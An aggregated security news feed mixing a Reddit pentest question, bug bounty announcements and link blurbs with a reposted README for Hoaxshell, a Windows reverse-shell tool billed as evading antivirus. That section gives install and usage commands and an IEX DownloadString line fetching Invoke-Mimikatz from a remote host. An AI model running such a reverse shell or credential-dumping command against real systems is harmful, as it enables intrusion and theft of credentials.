Post Pentest issue
https://www.reddit.com/r/Pentesting/comments/wqn2n8/post_pentest_issue/

<!-- SC_OFF -->I have an odd question. We're an MSP, we partner with a Pentesting company to let the professionals do their job. A client we've been recommending pentesting to, "knew a guy" and let another company surprise pentest the internal network. The issue is ever since they ran their pentest, I'm not sure what tools they used, our internal network has been intermittent and lagging. Based on the lack of communication I believe they hoped we'd look bad and they'd swoop in and steal the client. After rebooting every single piece of equipment, ISP Router, switch, firewall, servers and computers we're still seeing a 50% drop in internal bandwidth. Any suggestions on where I can look for any residual issues left behind? <!-- SC_ON --> submitted by /u/thesumofmyexpierence (https://www.reddit.com/user/thesumofmyexpierence)
[link] (https://www.reddit.com/r/Pentesting/comments/wqn2n8/post_pentest_issue/) [comments] (https://www.reddit.com/r/Pentesting/comments/wqn2n8/post_pentest_issue/)

Hats Bug Bounty Launches
https://medium.com/jelly-blog/hats-bug-bounty-launches-432c19163b19?source=rss------bug_bounty-5

We’re excited to announce we’ve partnered with Hats Finance for our Bug Bounty. You can find the Jelly Vault on…Continue reading on Jelly » (https://medium.com/jelly-blog/hats-bug-bounty-launches-432c19163b19?source=rss------bug_bounty-5)

Neom, Attack Surface and Ransomware
https://medium.com/@ben.swain_70016/neom-attack-surface-and-ransomeware-9b25c9a2bd59?source=rss------bug_bounty-5

Neom is certainly setting out to wow the world with bold ideas and we have to wonder if some of the aspirations are achievable within the…Continue reading on Medium » (https://medium.com/@ben.swain_70016/neom-attack-surface-and-ransomeware-9b25c9a2bd59?source=rss------bug_bounty-5)

Step 19: SQLi (a la PortSwigger)
https://medium.com/@R4v3ncl4w/step-19-sqli-a-la-portswigger-3dd98a381daa?source=rss------bug_bounty-5

Keep it short and sweet (as much as possible today anyway)… I’m gonna use some other stuff beyond just HTB: Academy. Been doing some…Continue reading on Medium » (https://medium.com/@R4v3ncl4w/step-19-sqli-a-la-portswigger-3dd98a381daa?source=rss------bug_bounty-5)

KitPloit - PenTest Tools!
Hoaxshell - An Unconventional Windows Reverse Shell, Currently Undetected By Microsoft Defender And Various Other AV Solutions, Solely Based On Http(S) Traffic

https://blogger.googleusercontent.com/img/a/AVvXsEhEbUevYz4RPVTdKM82N7RTSxplBgFjDWT4VRE0UyH3kev2xBExATifWDdihSaqUkzEt1BKD-6-97v49ENOIvSBS2shTMEAh-FZ-vmT920vhlLWxr1x6d3_56_8Zk2pTVvpCJiR9jn5UdI5aXBLafxkKjT3KLL6MDCfhINVx7LWrbRthzt5eRmXILM9=w640-h518 hoaxshell is an unconventional Windows reverse shell, currently undetected by Microsoft Defender and possibly other AV solutions as it is solely based on http(s) traffic. The tool is easy to use, it generates it's own PowerShell payload and it supports encryption (ssl).

So far, it has been tested on fully updated Windows 11 Enterprise and Windows 10 Pro boxes (see video and screenshots). Video PresentationScreenshotshttps://blogger.googleusercontent.com/img/a/AVvXsEhEbUevYz4RPVTdKM82N7RTSxplBgFjDWT4VRE0UyH3kev2xBExATifWDdihSaqUkzEt1BKD-6-97v49ENOIvSBS2shTMEAh-FZ-vmT920vhlLWxr1x6d3_56_8Zk2pTVvpCJiR9jn5UdI5aXBLafxkKjT3KLL6MDCfhINVx7LWrbRthzt5eRmXILM9=w640-h518 Find more screenshots here. Installationgit clone https://github.com/t3l3machus/hoaxshell
cd ./hoaxshell
sudo pip3 install -r requirements.txt
chmod +x hoaxshell.py UsageBasic shell session over httpsudo python3 hoaxshell.py -s <your_ip When you run hoaxshell, it will generate its own PowerShell payload for you to copy and inject on the victim. By default, the payload is base64 encoded for convenience. If you need the payload raw, execute the "rawpayload" prompt command or start hoaxshell with the -rargument. After the payload has been executed on the victim, you'll be able to run PowerShell commands against it. Encrypted shell session (https):# Generate self-signed certificate:
openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 365

# Pass the cert.pem and key.pem as arguments:
sudo python3 hoaxshell.py -s <your_ip-c -k <path The generated PowerShell payload will be longer in length because of an additional block of code that disables the ssl certificate validation. Grab session modeIn case you close your terminal accidentally, have a power outage or something, you can start hoaxshell in grab session mode, it will attempt to re-establish a session, given that the payload is still running on the victim machine. sudo python3 hoaxshell.py -s <your_ip-g Important: Make sure to start hoaxshell with the same settings as the session you are trying to restore (http/https, port, etc). LimitationsThe shell is going to hang if you execute a command that initiates an interactive session. Example: # this command will execute succesfully and you will have no problem:
> powershell echo 'This is a test'

# But this one will open an interactive session within the hoaxshell session and is going to cause the shell to hang:
> powershell

# In the same manner, you won't have a problem executing this:
> cmd /c dir /a

# But this will cause your hoaxshell to hang:
> cmd.exe So, if you for example would like to run mimikatz throught hoaxshell you would need to invoke the commands: hoaxshell > IEX(New-Object Net.WebClient).DownloadString('http://192.168.0.13:4443/Invoke-Mimikatz.ps1');Invoke-Mimikatz -Command '"PRIVILEGE::Debug"' Long story short, you have to be careful to not run an exe or cmd that starts an interactive session within the hoaxshell powershell context. FutureI am currently working on some auxiliary-type prompt commands to automate parts of host enumeration. Download Hoaxshell

Exploit Collector
Hacking Zyxel IP Cameras To Get A Root Shell

https://4.bp.blogspot.com/-xWCWgAV3Ny0/WWlvBhL9TTI/AAAAAAAAIKY/j6Iuv-WtlEAbM80hi5qIKa1OI4pChiwSgCLcBGAs/s1600/h124.png
This paper is an in-depth blog post on hacking Zyxel IP cameras to obtain a root shell.

SHA-256 | b1c1d5af6bd2b118ab3a1c720fe41a27cfec41885c4cf555570f4e8a14d7f78b

Download
Source:packetstormsecurity.com

Welcome to Hats, Jelly Protocol

We are happy to announce our bug bounty partnership with Jelly protocol!Continue reading on Medium »
Read more...

Welcome to Hats, Jelly Protocol
https://hatsfinance.medium.com/welcome-to-hats-jelly-protocol-138cba5a335b?source=rss------bug_bounty-5

We are happy to announce our bug bounty partnership with Jelly protocol!Continue reading on Medium » (https://hatsfinance.medium.com/welcome-to-hats-jelly-protocol-138cba5a335b?source=rss------bug_bounty-5)

hacking: security in practice
2 Wireless adapter

Can you use 2 wireless adapters on Kali VM?

submitted by /u/kyuskuys
[link] [comments]

hacking: security in practice
Meet the Environmental Hacktivists Trying to ‘Sabotage’ Mining Companies

https://external-preview.redd.it/bKUeSoN6ZAKSnIMQ3kwWA8WaNRJ2HiTkGc8opmmbk-M.jpg?width=640&crop=smart&auto=webp&s=b8282bcef1b80efe5474ca54b269338b7a97f17e submitted by /u/jonfla
[link] [comments]